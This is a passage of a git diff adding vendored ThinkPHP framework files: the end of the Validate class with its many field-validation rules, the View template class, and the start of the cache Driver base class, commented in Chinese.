+ */ + public function hasScene(string $name): bool + { + return isset($this->scene[$name]) || method_exists($this, 'scene' . $name); + } + + /** + * 设置批量验证 + * @access public + * @param bool $batch 是否批量验证 + * @return $this + */ + public function batch(bool $batch = true) + { + $this->batch = $batch; + + return $this; + } + + /** + * 设置验证失败后是否抛出异常 + * @access protected + * @param bool $fail 是否抛出异常 + * @return $this + */ + public function failException(bool $fail = true) + { + $this->failException = $fail; + + return $this; + } + + /** + * 指定需要验证的字段列表 + * @access public + * @param array $fields 字段名 + * @return $this + */ + public function only(array $fields) + { + $this->only = $fields; + + return $this; + } + + /** + * 移除某个字段的验证规则 + * @access public + * @param string|array $field 字段名 + * @param mixed $rule 验证规则 true 移除所有规则 + * @return $this + */ + public function remove($field, $rule = null) + { + if (is_array($field)) { + foreach ($field as $key => $rule) { + if (is_int($key)) { + $this->remove($rule); + } else { + $this->remove($key, $rule); + } + } + } else { + if (is_string($rule)) { + $rule = explode('|', $rule); + } + + $this->remove[$field] = $rule; + } + + return $this; + } + + /** + * 追加某个字段的验证规则 + * @access public + * @param string|array $field 字段名 + * @param mixed $rule 验证规则 + * @return $this + */ + public function append($field, $rule = null) + { + if (is_array($field)) { + foreach ($field as $key => $rule) { + $this->append($key, $rule); + } + } else { + if (is_string($rule)) { + $rule = explode('|', $rule); + } + + $this->append[$field] = $rule; + } + + return $this; + } + + /** + * 数据自动验证 + * @access public + * @param array $data 数据 + * @param array $rules 验证规则 + * @return bool + */ + public function check(array $data, array $rules = []): bool + { + $this->error = []; + + if ($this->currentScene) { + $this->getScene($this->currentScene); + } + + if (empty($rules)) { + // 读取验证规则 + $rules = $this->rule; + } + + foreach ($this->append as $key => $rule) { + if (!isset($rules[$key])) { + $rules[$key] = $rule; + unset($this->append[$key]); + } + } + + foreach ($rules as $key => $rule) { + // field => 'rule1|rule2...' field => ['rule1','rule2',...] + if (strpos($key, '|')) { + // 字段|描述 用于指定属性名称 + [$key, $title] = explode('|', $key); + } else { + $title = $this->field[$key] ?? $key; + } + + // 场景检测 + if (!empty($this->only) && !in_array($key, $this->only)) { + continue; + } + + // 获取数据 支持二维数组 + $value = $this->getDataValue($data, $key); + + // 字段验证 + if ($rule instanceof Closure) { + $result = call_user_func_array($rule, [$value, $data]); + } elseif ($rule instanceof ValidateRule) { + // 验证因子 + $result = $this->checkItem($key, $value, $rule->getRule(), $data, $rule->getTitle() ?: $title, $rule->getMsg()); + } else { + $result = $this->checkItem($key, $value, $rule, $data, $title); + } + + if (true !== $result) { + // 没有返回true 则表示验证失败 + if (!empty($this->batch)) { + // 批量验证 + $this->error[$key] = $result; + } elseif ($this->failException) { + throw new ValidateException($result); + } else { + $this->error = $result; + return false; + } + } + } + + if (!empty($this->error)) { + if ($this->failException) { + throw new ValidateException($this->error); + } + return false; + } + + return true; + } + + /** + * 根据验证规则验证数据 + * @access public + * @param mixed $value 字段值 + * @param mixed $rules 验证规则 + * @return bool + */ + public function checkRule($value, $rules): bool + { + if ($rules instanceof Closure) { + return call_user_func_array($rules, [$value]); + } elseif ($rules instanceof ValidateRule) { + $rules = $rules->getRule(); + } elseif (is_string($rules)) { + $rules = explode('|', $rules); + } + + foreach ($rules as $key => $rule) { + if ($rule instanceof Closure) { + $result = call_user_func_array($rule, [$value]); + } else { + // 判断验证类型 + [$type, $rule] = $this->getValidateType($key, $rule); + + $callback = $this->type[$type] ?? [$this, $type]; + + $result = call_user_func_array($callback, [$value, $rule]); + } + + if (true !== $result) { + if ($this->failException) { + throw new ValidateException($result); + } + + return $result; + } + } + + return true; + } + + /** + * 验证单个字段规则 + * @access protected + * @param string $field 字段名 + * @param mixed $value 字段值 + * @param mixed $rules 验证规则 + * @param array $data 数据 + * @param string $title 字段描述 + * @param array $msg 提示信息 + * @return mixed + */ + protected function checkItem(string $field, $value, $rules, $data, string $title = '', array $msg = []) + { + if (isset($this->remove[$field]) && true === $this->remove[$field] && empty($this->append[$field])) { + // 字段已经移除 无需验证 + return true; + } + + // 支持多规则验证 require|in:a,b,c|... 或者 ['require','in'=>'a,b,c',...] + if (is_string($rules)) { + $rules = explode('|', $rules); + } + + if (isset($this->append[$field])) { + // 追加额外的验证规则 + $rules = array_unique(array_merge($rules, $this->append[$field]), SORT_REGULAR); + unset($this->append[$field]); + } + + if (empty($rules)) { + return true; + } + + $i = 0; + foreach ($rules as $key => $rule) { + if ($rule instanceof Closure) { + $result = call_user_func_array($rule, [$value, $data]); + $info = is_numeric($key) ? '' : $key; + } else { + // 判断验证类型 + [$type, $rule, $info] = $this->getValidateType($key, $rule); + + if (isset($this->append[$field]) && in_array($info, $this->append[$field])) { + } elseif (isset($this->remove[$field]) && in_array($info, $this->remove[$field])) { + // 规则已经移除 + $i++; + continue; + } + + if (isset($this->type[$type])) { + $result = call_user_func_array($this->type[$type], [$value, $rule, $data, $field, $title]); + } elseif ('must' == $info || 0 === strpos($info, 'require') || (!is_null($value) && '' !== $value)) { + $result = call_user_func_array([$this, $type], [$value, $rule, $data, $field, $title]); + } else { + $result = true; + } + } + + if (false === $result) { + // 验证失败 返回错误信息 + if (!empty($msg[$i])) { + $message = $msg[$i]; + if (is_string($message) && strpos($message, '{%') === 0) { + $message = $this->lang->get(substr($message, 2, -1)); + } + } else { + $message = $this->getRuleMsg($field, $title, $info, $rule); + } + + return $message; + } elseif (true !== $result) { + // 返回自定义错误信息 + if (is_string($result) && false !== strpos($result, ':')) { + $result = str_replace(':attribute', $title, $result); + + if (strpos($result, ':rule') && is_scalar($rule)) { + $result = str_replace(':rule', (string) $rule, $result); + } + } + + return $result; + } + $i++; + } + + return $result ?? true; + } + + /** + * 获取当前验证类型及规则 + * @access public + * @param mixed $key + * @param mixed $rule + * @return array + */ + protected function getValidateType($key, $rule): array + { + // 判断验证类型 + if (!is_numeric($key)) { + if (isset($this->alias[$key])) { + // 判断别名 + $key = $this->alias[$key]; + } + return [$key, $rule, $key]; + } + + if (strpos($rule, ':')) { + [$type, $rule] = explode(':', $rule, 2); + if (isset($this->alias[$type])) { + // 判断别名 + $type = $this->alias[$type]; + } + $info = $type; + } elseif (method_exists($this, $rule)) { + $type = $rule; + $info = $rule; + $rule = ''; + } else { + $type = 'is'; + $info = $rule; + } + + return [$type, $rule, $info]; + } + + /** + * 验证是否和某个字段的值一致 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @param string $field 字段名 + * @return bool + */ + public function confirm($value, $rule, array $data = [], string $field = ''): bool + { + if ('' == $rule) { + if (strpos($field, '_confirm')) { + $rule = strstr($field, '_confirm', true); + } else { + $rule = $field . '_confirm'; + } + } + + return $this->getDataValue($data, $rule) === $value; + } + + /** + * 验证是否和某个字段的值是否不同 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function different($value, $rule, array $data = []): bool + { + return $this->getDataValue($data, $rule) != $value; + } + + /** + * 验证是否大于等于某个值 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function egt($value, $rule, array $data = []): bool + { + return $value >= $this->getDataValue($data, $rule); + } + + /** + * 验证是否大于某个值 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function gt($value, $rule, array $data = []): bool + { + return $value > $this->getDataValue($data, $rule); + } + + /** + * 验证是否小于等于某个值 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function elt($value, $rule, array $data = []): bool + { + return $value <= $this->getDataValue($data, $rule); + } + + /** + * 验证是否小于某个值 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function lt($value, $rule, array $data = []): bool + { + return $value < $this->getDataValue($data, $rule); + } + + /** + * 验证是否等于某个值 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function eq($value, $rule): bool + { + return $value == $rule; + } + + /** + * 必须验证 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function must($value, $rule = null): bool + { + return !empty($value) || '0' == $value; + } + + /** + * 验证字段值是否为有效格式 + * @access public + * @param mixed $value 字段值 + * @param string $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function is($value, string $rule, array $data = []): bool + { + switch (Str::camel($rule)) { + case 'require': + // 必须 + $result = !empty($value) || '0' == $value; + break; + case 'accepted': + // 接受 + $result = in_array($value, ['1', 'on', 'yes']); + break; + case 'date': + // 是否是一个有效日期 + $result = false !== strtotime($value); + break; + case 'activeUrl': + // 是否为有效的网址 + $result = checkdnsrr($value); + break; + case 'boolean': + case 'bool': + // 是否为布尔值 + $result = in_array($value, [true, false, 0, 1, '0', '1'], true); + break; + case 'number': + $result = ctype_digit((string) $value); + break; + case 'alphaNum': + $result = ctype_alnum($value); + break; + case 'array': + // 是否为数组 + $result = is_array($value); + break; + case 'file': + $result = $value instanceof File; + break; + case 'image': + $result = $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]); + break; + case 'token': + $result = $this->token($value, '__token__', $data); + break; + default: + if (isset($this->type[$rule])) { + // 注册的验证规则 + $result = call_user_func_array($this->type[$rule], [$value]); + } elseif (function_exists('ctype_' . $rule)) { + // ctype验证规则 + $ctypeFun = 'ctype_' . $rule; + $result = $ctypeFun($value); + } elseif (isset($this->filter[$rule])) { + // Filter_var验证规则 + $result = $this->filter($value, $this->filter[$rule]); + } else { + // 正则验证 + $result = $this->regex($value, $rule); + } + } + + return $result; + } + + // 判断图像类型 + protected function getImageType($image) + { + if (function_exists('exif_imagetype')) { + return exif_imagetype($image); + } + + try { + $info = getimagesize($image); + return $info ? $info[2] : false; + } catch (\Exception $e) { + return false; + } + } + + /** + * 验证表单令牌 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function token($value, string $rule, array $data): bool + { + $rule = !empty($rule) ? $rule : '__token__'; + return $this->request->checkToken($rule, $data); + } + + /** + * 验证是否为合格的域名或者IP 支持A,MX,NS,SOA,PTR,CNAME,AAAA,A6, SRV,NAPTR,TXT 或者 ANY类型 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function activeUrl(string $value, string $rule = 'MX'): bool + { + if (!in_array($rule, ['A', 'MX', 'NS', 'SOA', 'PTR', 'CNAME', 'AAAA', 'A6', 'SRV', 'NAPTR', 'TXT', 'ANY'])) { + $rule = 'MX'; + } + + return checkdnsrr($value, $rule); + } + + /** + * 验证是否有效IP + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 ipv4 ipv6 + * @return bool + */ + public function ip($value, string $rule = 'ipv4'): bool + { + if (!in_array($rule, ['ipv4', 'ipv6'])) { + $rule = 'ipv4'; + } + + return $this->filter($value, [FILTER_VALIDATE_IP, 'ipv6' == $rule ? FILTER_FLAG_IPV6 : FILTER_FLAG_IPV4]); + } + + /** + * 检测上传文件后缀 + * @access public + * @param File $file + * @param array|string $ext 允许后缀 + * @return bool + */ + protected function checkExt(File $file, $ext): bool + { + if (is_string($ext)) { + $ext = explode(',', $ext); + } + + return in_array(strtolower($file->extension()), $ext); + } + + /** + * 检测上传文件大小 + * @access public + * @param File $file + * @param integer $size 最大大小 + * @return bool + */ + protected function checkSize(File $file, $size): bool + { + return $file->getSize() <= (int) $size; + } + + /** + * 检测上传文件类型 + * @access public + * @param File $file + * @param array|string $mime 允许类型 + * @return bool + */ + protected function checkMime(File $file, $mime): bool + { + if (is_string($mime)) { + $mime = explode(',', $mime); + } + + return in_array(strtolower($file->getMime()), $mime); + } + + /** + * 验证上传文件后缀 + * @access public + * @param mixed $file 上传文件 + * @param mixed $rule 验证规则 + * @return bool + */ + public function fileExt($file, $rule): bool + { + if (is_array($file)) { + foreach ($file as $item) { + if (!($item instanceof File) || !$this->checkExt($item, $rule)) { + return false; + } + } + return true; + } elseif ($file instanceof File) { + return $this->checkExt($file, $rule); + } + + return false; + } + + /** + * 验证上传文件类型 + * @access public + * @param mixed $file 上传文件 + * @param mixed $rule 验证规则 + * @return bool + */ + public function fileMime($file, $rule): bool + { + if (is_array($file)) { + foreach ($file as $item) { + if (!($item instanceof File) || !$this->checkMime($item, $rule)) { + return false; + } + } + return true; + } elseif ($file instanceof File) { + return $this->checkMime($file, $rule); + } + + return false; + } + + /** + * 验证上传文件大小 + * @access public + * @param mixed $file 上传文件 + * @param mixed $rule 验证规则 + * @return bool + */ + public function fileSize($file, $rule): bool + { + if (is_array($file)) { + foreach ($file as $item) { + if (!($item instanceof File) || !$this->checkSize($item, $rule)) { + return false; + } + } + return true; + } elseif ($file instanceof File) { + return $this->checkSize($file, $rule); + } + + return false; + } + + /** + * 验证图片的宽高及类型 + * @access public + * @param mixed $file 上传文件 + * @param mixed $rule 验证规则 + * @return bool + */ + public function image($file, $rule): bool + { + if (!($file instanceof File)) { + return false; + } + + if ($rule) { + $rule = explode(',', $rule); + + [$width, $height, $type] = getimagesize($file->getRealPath()); + + if (isset($rule[2])) { + $imageType = strtolower($rule[2]); + + if ('jpg' == $imageType) { + $imageType = 'jpeg'; + } + + if (image_type_to_extension($type, false) != $imageType) { + return false; + } + } + + [$w, $h] = $rule; + + return $w == $width && $h == $height; + } + + return in_array($this->getImageType($file->getRealPath()), [1, 2, 3, 6]); + } + + /** + * 验证时间和日期是否符合指定格式 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function dateFormat($value, $rule): bool + { + $info = date_parse_from_format($rule, $value); + return 0 == $info['warning_count'] && 0 == $info['error_count']; + } + + /** + * 验证是否唯一 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 格式:数据表,字段名,排除ID,主键名 + * @param array $data 数据 + * @param string $field 验证字段名 + * @return bool + */ + public function unique($value, $rule, array $data = [], string $field = ''): bool + { + if (is_string($rule)) { + $rule = explode(',', $rule); + } + + if (false !== strpos($rule[0], '\\')) { + // 指定模型类 + $db = new $rule[0]; + } else { + $db = $this->db->name($rule[0]); + } + + $key = $rule[1] ?? $field; + $map = []; + + if (strpos($key, '^')) { + // 支持多个字段验证 + $fields = explode('^', $key); + foreach ($fields as $key) { + if (isset($data[$key])) { + $map[] = [$key, '=', $data[$key]]; + } + } + } elseif (isset($data[$field])) { + $map[] = [$key, '=', $data[$field]]; + } else { + $map = []; + } + + $pk = !empty($rule[3]) ? $rule[3] : $db->getPk(); + + if (is_string($pk)) { + if (isset($rule[2])) { + $map[] = [$pk, '<>', $rule[2]]; + } elseif (isset($data[$pk])) { + $map[] = [$pk, '<>', $data[$pk]]; + } + } + + if ($db->where($map)->field($pk)->find()) { + return false; + } + + return true; + } + + /** + * 使用filter_var方式验证 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function filter($value, $rule): bool + { + if (is_string($rule) && strpos($rule, ',')) { + [$rule, $param] = explode(',', $rule); + } elseif (is_array($rule)) { + $param = $rule[1] ?? null; + $rule = $rule[0]; + } else { + $param = null; + } + + return false !== filter_var($value, is_int($rule) ? $rule : filter_id($rule), $param); + } + + /** + * 验证某个字段等于某个值的时候必须 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function requireIf($value, $rule, array $data = []): bool + { + [$field, $val] = explode(',', $rule); + + if ($this->getDataValue($data, $field) == $val) { + return !empty($value) || '0' == $value; + } + + return true; + } + + /** + * 通过回调方法验证某个字段是否必须 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function requireCallback($value, $rule, array $data = []): bool + { + $result = call_user_func_array([$this, $rule], [$value, $data]); + + if ($result) { + return !empty($value) || '0' == $value; + } + + return true; + } + + /** + * 验证某个字段有值的情况下必须 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function requireWith($value, $rule, array $data = []): bool + { + $val = $this->getDataValue($data, $rule); + + if (!empty($val)) { + return !empty($value) || '0' == $value; + } + + return true; + } + + /** + * 验证某个字段没有值的情况下必须 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function requireWithout($value, $rule, array $data = []): bool + { + $val = $this->getDataValue($data, $rule); + + if (empty($val)) { + return !empty($value) || '0' == $value; + } + + return true; + } + + /** + * 验证是否在范围内 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function in($value, $rule): bool + { + return in_array($value, is_array($rule) ? $rule : explode(',', $rule)); + } + + /** + * 验证是否不在某个范围 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function notIn($value, $rule): bool + { + return !in_array($value, is_array($rule) ? $rule : explode(',', $rule)); + } + + /** + * between验证数据 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function between($value, $rule): bool + { + if (is_string($rule)) { + $rule = explode(',', $rule); + } + [$min, $max] = $rule; + + return $value >= $min && $value <= $max; + } + + /** + * 使用notbetween验证数据 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function notBetween($value, $rule): bool + { + if (is_string($rule)) { + $rule = explode(',', $rule); + } + [$min, $max] = $rule; + + return $value < $min || $value > $max; + } + + /** + * 验证数据长度 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function length($value, $rule): bool + { + if (is_array($value)) { + $length = count($value); + } elseif ($value instanceof File) { + $length = $value->getSize(); + } else { + $length = mb_strlen((string) $value); + } + + if (is_string($rule) && strpos($rule, ',')) { + // 长度区间 + [$min, $max] = explode(',', $rule); + return $length >= $min && $length <= $max; + } + + // 指定长度 + return $length == $rule; + } + + /** + * 验证数据最大长度 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function max($value, $rule): bool + { + if (is_array($value)) { + $length = count($value); + } elseif ($value instanceof File) { + $length = $value->getSize(); + } else { + $length = mb_strlen((string) $value); + } + + return $length <= $rule; + } + + /** + * 验证数据最小长度 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function min($value, $rule): bool + { + if (is_array($value)) { + $length = count($value); + } elseif ($value instanceof File) { + $length = $value->getSize(); + } else { + $length = mb_strlen((string) $value); + } + + return $length >= $rule; + } + + /** + * 验证日期 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function after($value, $rule, array $data = []): bool + { + return strtotime($value) >= strtotime($rule); + } + + /** + * 验证日期 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function before($value, $rule, array $data = []): bool + { + return strtotime($value) <= strtotime($rule); + } + + /** + * 验证日期 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function afterWith($value, $rule, array $data = []): bool + { + $rule = $this->getDataValue($data, $rule); + return !is_null($rule) && strtotime($value) >= strtotime($rule); + } + + /** + * 验证日期 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @param array $data 数据 + * @return bool + */ + public function beforeWith($value, $rule, array $data = []): bool + { + $rule = $this->getDataValue($data, $rule); + return !is_null($rule) && strtotime($value) <= strtotime($rule); + } + + /** + * 验证有效期 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function expire($value, $rule): bool + { + if (is_string($rule)) { + $rule = explode(',', $rule); + } + + [$start, $end] = $rule; + + if (!is_numeric($start)) { + $start = strtotime($start); + } + + if (!is_numeric($end)) { + $end = strtotime($end); + } + + return time() >= $start && time() <= $end; + } + + /** + * 验证IP许可 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function allowIp($value, $rule): bool + { + return in_array($value, is_array($rule) ? $rule : explode(',', $rule)); + } + + /** + * 验证IP禁用 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 + * @return bool + */ + public function denyIp($value, $rule): bool + { + return !in_array($value, is_array($rule) ? $rule : explode(',', $rule)); + } + + /** + * 使用正则验证数据 + * @access public + * @param mixed $value 字段值 + * @param mixed $rule 验证规则 正则规则或者预定义正则名 + * @return bool + */ + public function regex($value, $rule): bool + { + if (isset($this->regex[$rule])) { + $rule = $this->regex[$rule]; + } elseif (isset($this->defaultRegex[$rule])) { + $rule = $this->defaultRegex[$rule]; + } + + if (is_string($rule) && 0 !== strpos($rule, '/') && !preg_match('/\/[imsU]{0,4}$/', $rule)) { + // 不是正则表达式则两端补上/ + $rule = '/^' . $rule . '$/'; + } + + return is_scalar($value) && 1 === preg_match($rule, (string) $value); + } + + /** + * 获取错误信息 + * @return array|string + */ + public function getError() + { + return $this->error; + } + + /** + * 获取数据值 + * @access protected + * @param array $data 数据 + * @param string $key 数据标识 支持二维 + * @return mixed + */ + protected function getDataValue(array $data, $key) + { + if (is_numeric($key)) { + $value = $key; + } elseif (is_string($key) && strpos($key, '.')) { + // 支持多维数组验证 + foreach (explode('.', $key) as $key) { + if (!isset($data[$key])) { + $value = null; + break; + } + $value = $data = $data[$key]; + } + } else { + $value = $data[$key] ?? null; + } + + return $value; + } + + /** + * 获取验证规则的错误提示信息 + * @access protected + * @param string $attribute 字段英文名 + * @param string $title 字段描述名 + * @param string $type 验证规则名称 + * @param mixed $rule 验证规则数据 + * @return string|array + */ + protected function getRuleMsg(string $attribute, string $title, string $type, $rule) + { + if (isset($this->message[$attribute . '.' . $type])) { + $msg = $this->message[$attribute . '.' . $type]; + } elseif (isset($this->message[$attribute][$type])) { + $msg = $this->message[$attribute][$type]; + } elseif (isset($this->message[$attribute])) { + $msg = $this->message[$attribute]; + } elseif (isset($this->typeMsg[$type])) { + $msg = $this->typeMsg[$type]; + } elseif (0 === strpos($type, 'require')) { + $msg = $this->typeMsg['require']; + } else { + $msg = $title . $this->lang->get('not conform to the rules'); + } + + if (is_array($msg)) { + return $this->errorMsgIsArray($msg, $rule, $title); + } + + return $this->parseErrorMsg($msg, $rule, $title); + } + + /** + * 获取验证规则的错误提示信息 + * @access protected + * @param string $msg 错误信息 + * @param mixed $rule 验证规则数据 + * @param string $title 字段描述名 + * @return string + */ + protected function parseErrorMsg(string $msg, $rule, string $title) + { + if (0 === strpos($msg, '{%')) { + $msg = $this->lang->get(substr($msg, 2, -1)); + } elseif ($this->lang->has($msg)) { + $msg = $this->lang->get($msg); + } + + if (is_array($msg)) { + return $this->errorMsgIsArray($msg, $rule, $title); + } + + if (is_scalar($rule) && false !== strpos($msg, ':')) { + // 变量替换 + if (is_string($rule) && strpos($rule, ',')) { + $array = array_pad(explode(',', $rule), 3, ''); + } else { + $array = array_pad([], 3, ''); + } + + $msg = str_replace( + [':attribute', ':1', ':2', ':3'], + [$title, $array[0], $array[1], $array[2]], + $msg + ); + + if (strpos($msg, ':rule')) { + $msg = str_replace(':rule', (string) $rule, $msg); + } + } + + return $msg; + } + + /** + * 错误信息数组处理 + * @access protected + * @param array $msg 错误信息 + * @param mixed $rule 验证规则数据 + * @param string $title 字段描述名 + * @return array + */ + protected function errorMsgIsArray(array $msg, $rule, string $title) + { + foreach ($msg as $key => $val) { + if (is_string($val)) { + $msg[$key] = $this->parseErrorMsg($val, $rule, $title); + } + } + return $msg; + } + + /** + * 获取数据验证的场景 + * @access protected + * @param string $scene 验证场景 + * @return void + */ + protected function getScene(string $scene): void + { + $this->only = $this->append = $this->remove = []; + + if (method_exists($this, 'scene' . $scene)) { + call_user_func([$this, 'scene' . $scene]); + } elseif (isset($this->scene[$scene])) { + // 如果设置了验证适用场景 + $this->only = $this->scene[$scene]; + } + } + + /** + * 动态方法 直接调用is方法进行验证 + * @access public + * @param string $method 方法名 + * @param array $args 调用参数 + * @return bool + */ + public function __call($method, $args) + { + if ('is' == strtolower(substr($method, 0, 2))) { + $method = substr($method, 2); + } + + array_push($args, lcfirst($method)); + + return call_user_func_array([$this, 'is'], $args); + } +} diff --git a/vendor/topthink/framework/src/think/View.php b/vendor/topthink/framework/src/think/View.php new file mode 100644 index 0000000..c2e7368 --- /dev/null +++ b/vendor/topthink/framework/src/think/View.php @@ -0,0 +1,187 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use think\helper\Arr; + +/** + * 视图类 + * @package think + */ +class View extends Manager +{ + + protected $namespace = '\\think\\view\\driver\\'; + + /** + * 模板变量 + * @var array + */ + protected $data = []; + + /** + * 内容过滤 + * @var mixed + */ + protected $filter; + + /** + * 获取模板引擎 + * @access public + * @param string $type 模板引擎类型 + * @return $this + */ + public function engine(string $type = null) + { + return $this->driver($type); + } + + /** + * 模板变量赋值 + * @access public + * @param string|array $name 模板变量 + * @param mixed $value 变量值 + * @return $this + */ + public function assign($name, $value = null) + { + if (is_array($name)) { + $this->data = array_merge($this->data, $name); + } else { + $this->data[$name] = $value; + } + + return $this; + } + + /** + * 视图过滤 + * @access public + * @param Callable $filter 过滤方法或闭包 + * @return $this + */ + public function filter(callable $filter = null) + { + $this->filter = $filter; + return $this; + } + + /** + * 解析和获取模板内容 用于输出 + * @access public + * @param string $template 模板文件名或者内容 + * @param array $vars 模板变量 + * @return string + * @throws \Exception + */ + public function fetch(string $template = '', array $vars = []): string + { + return $this->getContent(function () use ($vars, $template) { + $this->engine()->fetch($template, array_merge($this->data, $vars)); + }); + } + + /** + * 渲染内容输出 + * @access public + * @param string $content 内容 + * @param array $vars 模板变量 + * @return string + */ + public function display(string $content, array $vars = []): string + { + return $this->getContent(function () use ($vars, $content) { + $this->engine()->display($content, array_merge($this->data, $vars)); + }); + } + + /** + * 获取模板引擎渲染内容 + * @param $callback + * @return string + * @throws \Exception + */ + protected function getContent($callback): string + { + // 页面缓存 + ob_start(); + ob_implicit_flush(0); + + // 渲染输出 + try { + $callback(); + } catch (\Exception $e) { + ob_end_clean(); + throw $e; + } + + // 获取并清空缓存 + $content = ob_get_clean(); + + if ($this->filter) { + $content = call_user_func_array($this->filter, [$content]); + } + + return $content; + } + + /** + * 模板变量赋值 + * @access public + * @param string $name 变量名 + * @param mixed $value 变量值 + */ + public function __set($name, $value) + { + $this->data[$name] = $value; + } + + /** + * 取得模板显示变量的值 + * @access protected + * @param string $name 模板变量 + * @return mixed + */ + public function __get($name) + { + return $this->data[$name]; + } + + /** + * 检测模板变量是否设置 + * @access public + * @param string $name 模板变量名 + * @return bool + */ + public function __isset($name) + { + return isset($this->data[$name]); + } + + protected function resolveConfig(string $name) + { + $config = $this->app->config->get('view', []); + Arr::forget($config, 'type'); + return $config; + } + + /** + * 默认驱动 + * @return string|null + */ + public function getDefaultDriver() + { + return $this->app->config->get('view.type', 'php'); + } + +} diff --git a/vendor/topthink/framework/src/think/cache/Driver.php b/vendor/topthink/framework/src/think/cache/Driver.php new file mode 100644 index 0000000..06d522d --- /dev/null +++ b/vendor/topthink/framework/src/think/cache/Driver.php @@ -0,0 +1,345 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\cache; + +use Closure; +use DateInterval; +use DateTime; +use DateTimeInterface; +use Exception; +use Psr\SimpleCache\CacheInterface; +use think\Container; +use think\contract\CacheHandlerInterface; +use think\exception\InvalidArgumentException; +use throwable; + +/** + * 缓存基础类 + */ +abstract class Driver implements CacheInterface, CacheHandlerInterface +{ + /** + * 驱动句柄 + * @var object + */ + protected $handler = null; + + /** + * 缓存读取次数 + * @var integer + */ + protected $readTimes = 0; + + /** + * 缓存写入次数 + * @var integer + */ + protected $writeTimes = 0; + + /** + * 缓存参数 + * @var array + */ + protected $options = []; + + /** + * 缓存标签 + * @var array + */ + protected $tag = []; + + /** + * 获取有效期 + * @access protected + * @param integer|DateTimeInterface|DateInterval $expire 有效期 + * @return int + */ + protected function getExpireTime($expire): int + { + if ($expire instanceof DateTimeInterface) { + $expire = $expire->getTimestamp() - time(); + } elseif ($expire instanceof DateInterval) { + $expire = DateTime::createFromFormat('U', (string) time()) + ->add($expire) + ->format('U') - time(); + } + + return (int) $expire; + } + + /** + * 获取实际的缓存标识 + * @access public + * @param string $name 缓存名 + * @return string + */ + public function getCacheKey(string $name): string + { + return $this->options['prefix'] . $name; + } + + /** + * 读取缓存并删除 + * @access public + * @param string $name 缓存变量名 + * @return mixed + */ + public function pull(string $name) + { + $result = $this->get($name, false); + + if ($result) { + $this->delete($name); + return $result; + } + } + + /** + * 追加(数组)缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @return void + */ + public function push(string $name, $value): void + { + $item = $this->get($name, []); + + if (!is_array($item)) { + throw new InvalidArgumentException('only array cache can be push'); + } + + $item[] = $value; + + if (count($item) > 1000) { + array_shift($item); + } + + $item = array_unique($item); + + $this->set($name, $item); + } + + /** + * 如果不存在则写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param int $expire 有效时间 0为永久 + * @return mixed + */ + public function remember(string $name, $value, $expire = null) + { + if ($this->has($name)) { + return $this->get($name); + } + + $time = time(); + + while ($time + 5 > time() && $this->has($name . '_lock')) { + // 存在锁定则等待 + usleep(200000); + } + + try { + // 锁定 + $this->set($name . '_lock', true); + + if ($value instanceof Closure) { + // 获取缓存数据 + $value = Container::getInstance()->invokeFunction($value); + } + + // 缓存数据 + $this->set($name, $value, $expire); + + // 解锁 + $this->delete($name . '_lock'); + } catch (Exception | throwable $e) { + $this->delete($name . '_lock'); + throw $e; + } + + return $value; + } + + /** + * 缓存标签 + 